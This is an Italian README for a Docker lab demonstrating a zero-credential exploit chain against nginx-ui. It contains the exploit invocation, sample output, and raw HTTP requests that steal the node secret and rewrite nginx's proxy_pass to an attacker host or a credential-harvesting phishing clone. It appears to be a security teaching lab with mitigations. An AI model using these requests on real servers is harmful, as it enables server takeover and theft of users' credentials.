
Setup Docker Compose per dimostrare la vulnerabilità di autenticazione mancante in nginx-ui
Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Tutte le tecniche dimostrate qui dovrebbero essere utilizzate solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta per il test. Gli autori non si assumono alcuna responsabilità per un uso improprio. Non eseguire questo strumento contro alcun sistema senza autorizzazione.
Un lab Docker Compose autonomo che dimostra una catena di due CVE contro nginx-ui v2.3.1 che consente la piena compromissione di nginx con zero conoscenze pregresse — nessun nome utente, nessuna password, nessun token.
GET /api/backup non richiede autenticazione. L'endpoint restituisce un backup completo e cifrato dell'installazione di nginx-ui — incluso app.ini — e invia la chiave di decifratura AES-256-CBC e l'IV in chiaro nell'header della risposta:
X-Backup-Security: <base64_key>:<base64_iv>
Dal sorgente (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ nessun middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
La decifratura del backup produce app.ini, che contiene il [node] Secret necessario per il Passo 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Critico |
| Versioni interessate | nginx-ui < 2.3.2 |
| Corretta in | nginx-ui 2.3.3 |
nginx-ui v2.3.x ha aggiunto un'interfaccia Model Context Protocol (MCP) che espone 12 strumenti di gestione di nginx. Il bug è una singola chiamata middleware mancante in mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ MANCA AuthRequired()
Con un sessionId ottenuto tramite il segreto del nodo, un attaccante può inviare una POST a /mcp_message senza credenziali utente e invocare qualsiasi strumento privilegiato — incluso nginx_config_modify e reload_nginx.
| CVE | CVE-2026-33032 |
| Alias | MCPwn (Pluto Security) |
| CVSS | 9.8 Critico |
| Versioni interessate | nginx-ui ≤ 2.3.3 |
| Corretta in | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Browser │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Attaccante ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNERABILE│
│ (nessuna credenziale) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (verde) │ legittimo │
│ │ proxy_pass default │ modulo login │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (rosso) │ clone phishing │
│ │ proxy_pass dopo attacco │ raccoglie cred │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui include la propria istanza di nginx. Quando l'exploit chiama reload_nginx tramite MCP, ricarica lo stesso nginx che serve il traffico su :8080 — nessun accesso all'host richiesto.
Requisiti: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Sito vittima — verde (legittimo) |
http://localhost:9000 | Pannello di amministrazione nginx-ui |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
Lo script combina entrambe le CVE senza credenziali pregresse:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Target : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — download del backup (senza auth)
[+] Chiave AES+IV dall'header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Segreto del nodo estratto: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — apertura sessione MCP non autenticata (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Ricognizione — lettura configurazione corrente
[+] Attuale: proxy_pass http://webapp:80;
[*] Sovrascrittura di default.conf tramite POST /mcp_message (senza auth)
[+] Nuovo: proxy_pass http://malicious_site:80;
[*] Ricaricamento di nginx tramite POST /mcp_message (senza auth)
[+] nginx ricaricato — configurazione attiva
[!] Attacco completato.
Le vittime su http://localhost:8080/ ricevono ora la pagina di phishing.
Visualizza le credenziali catturate: http://localhost:8080/?debug=1
Dopo l'exploit, http://localhost:8080 passa dalla pagina legittima verde al clone di phishing rosso — allo stesso URL, senza alcuna indicazione per la vittima.
Apri http://localhost:8080/?debug=1 per rivelare il pannello dell'attaccante e vedere le credenziali catturate in tempo reale.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Utilizza la stessa catena di CVE per ripristinare la configurazione originale e ricaricare nginx.
GET /api/backup HTTP/1.1
Host: target:9000
Risposta:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Decifra lo zip con la chiave/IV forniti → estrai app.ini → leggi [node] Secret.
Richiesta 1 — Apertura sessione SSE (segreto del nodo, senza auth utente):
GET /mcp?node_secret=<uuid>
Lo stream SSE risponde con un sessionId.
Richiesta 2+ — Invocazione degli strumenti (nessuna auth):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Nessun header Authorization. Nessun cookie. AuthRequired() è semplicemente assente dalla rotta /mcp_message.
| Strumento | Impatto |
|---|---|
nginx_config_modify | Sovrascrive qualsiasi file di configurazione |
nginx_config_add | Crea nuovi file di configurazione |
nginx_config_get | Legge qualsiasi file di configurazione |
nginx_config_list | Elenca tutte le configurazioni |
nginx_config_enable/disable | Attiva/disattiva le configurazioni dei siti |
nginx_config_rename | Sposta/rinomina i file di configurazione |
nginx_config_mkdir | Crea directory |
nginx_config_history | Visualizza la cronologia delle modifiche |
nginx_config_base_path | Rivela il percorso root della configurazione |
nginx_status | Verifica lo stato di nginx |
reload_nginx | Applica le modifiche alla configurazione in tempo reale |
restart_nginx | Riavvio completo di nginx |
[node] IPWhiteList non vuoto in app.ini per limitare l'accesso MCP a IP specifici/etc/nginx/conf.d/ con un sistema di monitoraggio dell'integrità dei file (auditd, Wazuh, ecc.)